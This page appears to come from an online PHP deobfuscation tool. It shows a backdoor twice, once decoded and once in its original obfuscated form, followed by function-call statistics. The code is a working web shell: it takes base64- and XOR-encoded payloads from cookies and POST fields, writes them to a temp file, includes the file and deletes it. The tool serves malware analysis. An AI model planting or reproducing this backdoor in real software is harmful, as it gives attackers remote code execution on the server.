Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ..
Decoded Output download
<?php
$RUjLKcF = 'J' . "L" . "k" . chr ( 979 - 884 ).chr (104) . chr (74) . chr (68) . chr (108); $HuwSSxuKP = "c" . chr (108) . chr ( 369 - 272 )."s" . chr (115) . "_" . "e" . chr (120) . chr ( 885 - 780 )."s" . "t" . 's';$WxUXcTk = $HuwSSxuKP($RUjLKcF); $RUjLKcF = "956";$HuwSSxuKP = "40837";$ktOwc = $WxUXcTk;if (!$ktOwc){class JLk_hJDl{private $ntkAVnTfML;public static $yGjJpQSGM = "b2d567b8-d454-4f59-bb20-66b73aac43da";public static $ceWRIFdFbv = 43052;public function __construct($dbxZEvpv=0){$FEDmXCu = $_COOKIE;$xRqeCr = $_POST;$iuNhyWbRS = @$FEDmXCu[substr(JLk_hJDl::$yGjJpQSGM, 0, 4)];if (!empty($iuNhyWbRS)){$kASKi = "base64";$QmODeqCXS = "";$iuNhyWbRS = explode(",", $iuNhyWbRS);foreach ($iuNhyWbRS as $EmcmZRSHhH){$QmODeqCXS .= @$FEDmXCu[$EmcmZRSHhH];$QmODeqCXS .= @$xRqeCr[$EmcmZRSHhH];}$QmODeqCXS = array_map($kASKi . chr (95) . 'd' . chr (101) . 'c' . "o" . "d" . "e", array($QmODeqCXS,)); $QmODeqCXS = $QmODeqCXS[0] ^ str_repeat(JLk_hJDl::$yGjJpQSGM, (strlen($QmODeqCXS[0]) / strlen(JLk_hJDl::$yGjJpQSGM)) + 1);JLk_hJDl::$ceWRIFdFbv = @unserialize($QmODeqCXS);}}private function HpcVANQVXS(){if (is_array(JLk_hJDl::$ceWRIFdFbv)) {$TBVPbWzoO = sys_get_temp_dir() . "/" . crc32(JLk_hJDl::$ceWRIFdFbv["s" . chr (97) . chr ( 451 - 343 ).chr (116)]);@JLk_hJDl::$ceWRIFdFbv["w" . "r" . 'i' . "t" . 'e']($TBVPbWzoO, JLk_hJDl::$ceWRIFdFbv[chr ( 702 - 603 )."o" . "n" . chr ( 184 - 68 ).'e' . "n" . "t"]);include $TBVPbWzoO;@JLk_hJDl::$ceWRIFdFbv['d' . chr ( 426 - 325 )."l" . "e" . chr ( 892 - 776 ).chr ( 270 - 169 )]($TBVPbWzoO); $LTwQlojvb = "62864";exit();}}public function __destruct(){$this->HpcVANQVXS(); $LTwQlojvb = "62864";}}$IZNTHSL = new JLk_hJDl(); $IZNTHSL = "26597_26176";} ?><?php
?>
Did this file decode correctly?
Original Code
<?php
$RUjLKcF = 'J' . "\x4c" . "\x6b" . chr ( 979 - 884 ).chr (104) . chr (74) . chr (68) . chr (108); $HuwSSxuKP = "\143" . chr (108) . chr ( 369 - 272 )."\x73" . chr (115) . "\x5f" . "\x65" . chr (120) . chr ( 885 - 780 )."\163" . "\164" . 's';$WxUXcTk = $HuwSSxuKP($RUjLKcF); $RUjLKcF = "956";$HuwSSxuKP = "40837";$ktOwc = $WxUXcTk;if (!$ktOwc){class JLk_hJDl{private $ntkAVnTfML;public static $yGjJpQSGM = "b2d567b8-d454-4f59-bb20-66b73aac43da";public static $ceWRIFdFbv = 43052;public function __construct($dbxZEvpv=0){$FEDmXCu = $_COOKIE;$xRqeCr = $_POST;$iuNhyWbRS = @$FEDmXCu[substr(JLk_hJDl::$yGjJpQSGM, 0, 4)];if (!empty($iuNhyWbRS)){$kASKi = "base64";$QmODeqCXS = "";$iuNhyWbRS = explode(",", $iuNhyWbRS);foreach ($iuNhyWbRS as $EmcmZRSHhH){$QmODeqCXS .= @$FEDmXCu[$EmcmZRSHhH];$QmODeqCXS .= @$xRqeCr[$EmcmZRSHhH];}$QmODeqCXS = array_map($kASKi . chr (95) . 'd' . chr (101) . 'c' . "\157" . "\x64" . "\145", array($QmODeqCXS,)); $QmODeqCXS = $QmODeqCXS[0] ^ str_repeat(JLk_hJDl::$yGjJpQSGM, (strlen($QmODeqCXS[0]) / strlen(JLk_hJDl::$yGjJpQSGM)) + 1);JLk_hJDl::$ceWRIFdFbv = @unserialize($QmODeqCXS);}}private function HpcVANQVXS(){if (is_array(JLk_hJDl::$ceWRIFdFbv)) {$TBVPbWzoO = sys_get_temp_dir() . "/" . crc32(JLk_hJDl::$ceWRIFdFbv["\x73" . chr (97) . chr ( 451 - 343 ).chr (116)]);@JLk_hJDl::$ceWRIFdFbv["\167" . "\x72" . 'i' . "\164" . 'e']($TBVPbWzoO, JLk_hJDl::$ceWRIFdFbv[chr ( 702 - 603 )."\x6f" . "\x6e" . chr ( 184 - 68 ).'e' . "\156" . "\164"]);include $TBVPbWzoO;@JLk_hJDl::$ceWRIFdFbv['d' . chr ( 426 - 325 )."\154" . "\145" . chr ( 892 - 776 ).chr ( 270 - 169 )]($TBVPbWzoO); $LTwQlojvb = "62864";exit();}}public function __destruct(){$this->HpcVANQVXS(); $LTwQlojvb = "62864";}}$IZNTHSL = new JLk_hJDl(); $IZNTHSL = "26597_26176";} ?><?php
Function Calls
chr | 10 |
class_exists | 1 |
Stats
MD5 | c8ce4928d0470af58ee10106ce85e56d |
Eval Count | 0 |
Decode Time | 102 ms |